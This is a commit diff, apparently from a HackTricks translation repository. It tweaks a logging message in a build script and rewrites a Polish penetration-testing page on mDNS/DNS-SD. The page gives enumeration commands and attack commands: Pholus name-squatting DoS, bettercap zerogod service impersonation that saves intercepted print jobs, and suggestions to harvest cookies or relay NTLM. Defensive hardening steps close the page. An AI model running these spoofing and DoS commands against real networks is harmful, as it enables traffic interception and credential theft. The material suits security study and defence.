Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns

This commit is contained in:
Translator 2025-08-20 14:17:04 +00:00
parent b684260c43
commit 8c4dab151d
2 changed files with 119 additions and 27 deletions

View File

@ -65,7 +65,7 @@ def ref(matchobj):
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()

View File

@ -2,60 +2,152 @@
{{#include ../banners/hacktricks-training.md}}
## **Podstawowe informacje**
## Podstawowe informacje
**Multicast DNS (mDNS)** umożliwia **operacje podobne do DNS** w lokalnych sieciach bez potrzeby posiadania tradycyjnego serwera DNS. Działa na **porcie UDP 5353** i pozwala urządzeniom na wzajemne odkrywanie się oraz ich usług, co jest powszechnie widoczne w różnych urządzeniach IoT. **DNS Service Discovery (DNS-SD)**, często używane razem z mDNS, pomaga w identyfikacji usług dostępnych w sieci za pomocą standardowych zapytań DNS.
Multicast DNS (mDNS) umożliwia rozwiązywanie nazw i odkrywanie usług podobnie jak DNS w obrębie lokalnego łącza bez serwera DNS unicast. Używa UDP/5353 oraz adresów multicast 224.0.0.251 (IPv4) i FF02::FB (IPv6). Odkrywanie usług DNS (DNS-SD, zazwyczaj używane z mDNS) zapewnia ustandaryzowany sposób enumeracji i opisywania usług za pomocą rekordów PTR, SRV i TXT.
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **Działanie mDNS**
Kluczowe szczegóły protokołu, które często wykorzystasz podczas ataków:
- Nazwy w strefie .local są rozwiązywane za pomocą mDNS.
- Bit QU (Query Unicast) może żądać odpowiedzi unicast nawet dla pytań multicast.
- Implementacje powinny ignorować pakiety, które nie pochodzą z lokalnego łącza; niektóre stosy nadal je akceptują.
- Probing/ogłaszanie wymusza unikalne nazwy hostów/usług; zakłócanie tutaj tworzy warunki DoS/„squattingu nazw”.
W środowiskach bez standardowego serwera DNS, mDNS pozwala urządzeniom na rozwiązywanie nazw domen kończących się na **.local** poprzez zapytania do adresu multicast **224.0.0.251** (IPv4) lub **FF02::FB** (IPv6). Ważne aspekty mDNS obejmują wartość **Time-to-Live (TTL)** wskazującą na ważność rekordu oraz bit **QU** odróżniający zapytania unicast od multicast. Z punktu widzenia bezpieczeństwa, kluczowe jest, aby implementacje mDNS weryfikowały, że adres źródłowy pakietu jest zgodny z lokalnym podsiecią.
## Model usługi DNS-SD
### **Działanie DNS-SD**
Usługi są identyfikowane jako _<service>._tcp lub _<service>._udp w strefie .local, np. _ipp._tcp.local (drukarki), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) itd. Odkryj typy za pomocą _services._dns-sd._udp.local, a następnie rozwiąż odkryte instancje do SRV/TXT/A/AAAA.
DNS-SD ułatwia odkrywanie usług sieciowych poprzez zapytania o rekordy wskaźnikowe (PTR), które mapują typy usług na ich instancje. Usługi są identyfikowane za pomocą wzoru **\_\<Service>.\_tcp lub \_\<Service>.\_udp** w obrębie domeny **.local**, co prowadzi do odkrycia odpowiadających **rekordów SRV** i **TXT**, które dostarczają szczegółowych informacji o usłudze.
## Eksploracja i enumeracja sieci
### **Eksploracja sieci**
#### **Użycie nmap**
Przydatne polecenie do skanowania lokalnej sieci w poszukiwaniu usług mDNS to:
- skanowanie celu nmap (bezpośredni mDNS na hoście):
```bash
nmap -Pn -sUC -p5353 [target IP address]
nmap -sU -p 5353 --script=dns-service-discovery <target>
```
To polecenie pomaga zidentyfikować otwarte porty mDNS oraz usługi reklamowane na nich.
#### **Enumeracja sieci z Pholus**
Aby aktywnie wysyłać żądania mDNS i przechwytywać ruch, można wykorzystać narzędzie **Pholus** w następujący sposób:
- odkrywanie broadcastowe nmap (nasłuchuj segmentu i enumeruj wszystkie typy/instancje DNS-SD):
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
sudo nmap --script=broadcast-dns-service-discovery
```
- avahi-browse (Linux):
```bash
# Lista typów usług
avahi-browse -bt _services._dns-sd._udp
# Przeglądaj wszystkie usługi i rozwiązuj do hosta/portu
avahi-browse -art
```
- Apple dns-sd (macOS):
```bash
# Przeglądaj wszystkie usługi HTTP
dns-sd -B _http._tcp
# Enumeruj typy usług
dns-sd -B _services._dns-sd._udp
# Rozwiąż konkretną instancję do SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
```
- Przechwytywanie pakietów z tshark:
```bash
# Przechwytywanie na żywo
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Tylko zapytania o listę usług DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
```
Wskazówka: Niektóre przeglądarki/WebRTC używają efemerycznych nazw hostów mDNS, aby ukryć lokalne adresy IP. Jeśli zobaczysz kandydatów random-UUID.local w sieci, rozwiąż je za pomocą mDNS, aby przejść do lokalnych adresów IP.
## Ataki
### **Wykorzystywanie mDNS Probing**
### zakłócanie próbowania nazw mDNS (DoS / squatting nazw)
Wektor ataku polega na wysyłaniu sfałszowanych odpowiedzi na zapytania mDNS, sugerując, że wszystkie potencjalne nazwy są już zajęte, co uniemożliwia nowym urządzeniom wybór unikalnej nazwy. Można to zrealizować za pomocą:
Podczas fazy próbowania, host sprawdza unikalność nazw. Odpowiadanie sfałszowanymi konfliktami zmusza go do wyboru nowych nazw lub niepowodzenia. Może to opóźnić lub uniemożliwić rejestrację i odkrywanie usług.
Przykład z Pholus:
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
```
Ta technika skutecznie blokuje nowe urządzenia przed rejestrowaniem swoich usług w sieci.
### Fałszowanie usług i podszywanie się (MitM)
**Podsumowując**, zrozumienie działania mDNS i DNS-SD jest kluczowe dla zarządzania siecią i bezpieczeństwa. Narzędzia takie jak **nmap** i **Pholus** oferują cenne informacje o lokalnych usługach sieciowych, podczas gdy świadomość potencjalnych luk pomaga w zabezpieczaniu przed atakami.
Podszywaj się pod ogłaszane usługi DNS-SD (drukarki, AirPlay, HTTP, udostępnianie plików), aby zmusić klientów do połączenia się z tobą. Jest to szczególnie przydatne do:
- Przechwytywania dokumentów poprzez fałszowanie _ipp._tcp lub _printer._tcp.
- Wabić klientów do usług HTTP/HTTPS, aby zbierać tokeny/ciasteczka lub dostarczać ładunki.
- Łączenie z technikami przekazywania NTLM, gdy klienci Windows negocjują uwierzytelnianie do fałszowanych usług.
### Spoofing/MitM
Z modułem zerogod bettercap (fałszerz/podszywacz mDNS/DNS-SD):
```bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
Najciekawszym atakiem, który możesz przeprowadzić za pomocą tej usługi, jest wykonanie **MitM** w **komunikacji między klientem a prawdziwym serwerem**. Możesz być w stanie uzyskać wrażliwe pliki (MitM komunikacji z drukarką) lub nawet dane uwierzytelniające (uwierzytelnianie Windows).\
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
```
Również zobacz ogólne LLMNR/NBNS/mDNS/WPAD spoofing i przepływy przechwytywania/relayowania poświadczeń:
{{#ref}}
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Uwagi dotyczące ostatnich problemów z implementacją (przydatne do DoS/persistentności podczas zaangażowań)
- Błędy awarii Avahi reachable-assertion i D-Bus (2023) mogą zakończyć działanie avahi-daemon na dystrybucjach Linuksa (np. CVE-2023-38469..38473, CVE-2023-1981), zakłócając odkrywanie usług na docelowych hostach do czasu ponownego uruchomienia.
- DoS bramy mDNS Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) pozwala sąsiednim atakującym na generowanie wysokiego obciążenia CPU i rozłączanie AP. Jeśli napotkasz bramę mDNS między VLAN-ami, bądź świadomy jej stabilności w przypadku źle sformułowanego lub wysokiego tempa mDNS.
## Rozważania obronne i OPSEC
- Granice segmentów: Nie routuj 224.0.0.251/FF02::FB między strefami bezpieczeństwa, chyba że brama mDNS jest wyraźnie wymagana. Jeśli musisz połączyć odkrywanie, preferuj listy dozwolone i limity prędkości.
- Punkty końcowe/serwery Windows:
- Aby trwale wyłączyć rozwiązywanie nazw za pomocą mDNS, ustaw wartość rejestru i uruchom ponownie:
```
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
```
- W zarządzanych środowiskach wyłącz wbudowaną regułę zapory Windows Defender „mDNS (UDP-In)” (przynajmniej w profilu domeny), aby zapobiec przetwarzaniu mDNS przychodzącego, zachowując funkcjonalność domową/roamingową.
- W nowszych wersjach Windows 11/ szablonach GPO użyj polityki „Konfiguracja komputera > Szablony administracyjne > Sieć > Klient DNS > Skonfiguruj protokół multicast DNS (mDNS)” i ustaw ją na Wyłączone.
- Linux (Avahi):
- Ogranicz publikowanie, gdy nie jest potrzebne: ustaw `disable-publishing=yes` i ogranicz interfejsy za pomocą `allow-interfaces=` / `deny-interfaces=` w `/etc/avahi/avahi-daemon.conf`.
- Rozważ `check-response-ttl=yes` i unikaj `enable-reflector=yes`, chyba że jest to ściśle wymagane; preferuj `reflect-filters=` listy dozwolone podczas refleksji.
- macOS: Ogranicz przychodzące mDNS w zaporach hosta/sieci, gdy odkrywanie Bonjour nie jest potrzebne dla konkretnych podsieci.
- Monitorowanie: Powiadamiaj o nietypowych wzrostach zapytań `_services._dns-sd._udp.local` lub nagłych zmianach w SRV/TXT krytycznych usług; są to wskaźniki spoofingu lub podszywania się pod usługi.
## Szybki przegląd narzędzi
- nmap NSE: `dns-service-discovery` i `broadcast-dns-service-discovery`.
- Pholus: aktywne skanowanie, odwrotne mDNS, pomocnicy DoS i spoofingu.
```bash
# Pasywne sniff (sekundy timeout)
sudo python3 pholus3.py <iface> -stimeout 60
# Wymień typy usług
sudo python3 pholus3.py <iface> -sscan
# Wyślij ogólne zapytania mDNS
sudo python3 pholus3.py <iface> --request
# Odwrotne skanowanie mDNS podsieci
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
```
- bettercap zerogod: odkrywanie, zapisywanie, ogłaszanie i podszywanie się pod usługi mDNS/DNS-SD (zobacz powyższe przykłady).
## Spoofing/MitM
Najciekawszym atakiem, który możesz przeprowadzić za pomocą tej usługi, jest przeprowadzenie MitM w komunikacji między klientem a prawdziwym serwerem. Możesz być w stanie uzyskać wrażliwe pliki (MitM komunikacji z drukarką) lub nawet poświadczenia (uwierzytelnianie Windows).\
Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
## Referencje
## Odniesienia
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
{{#include ../banners/hacktricks-training.md}}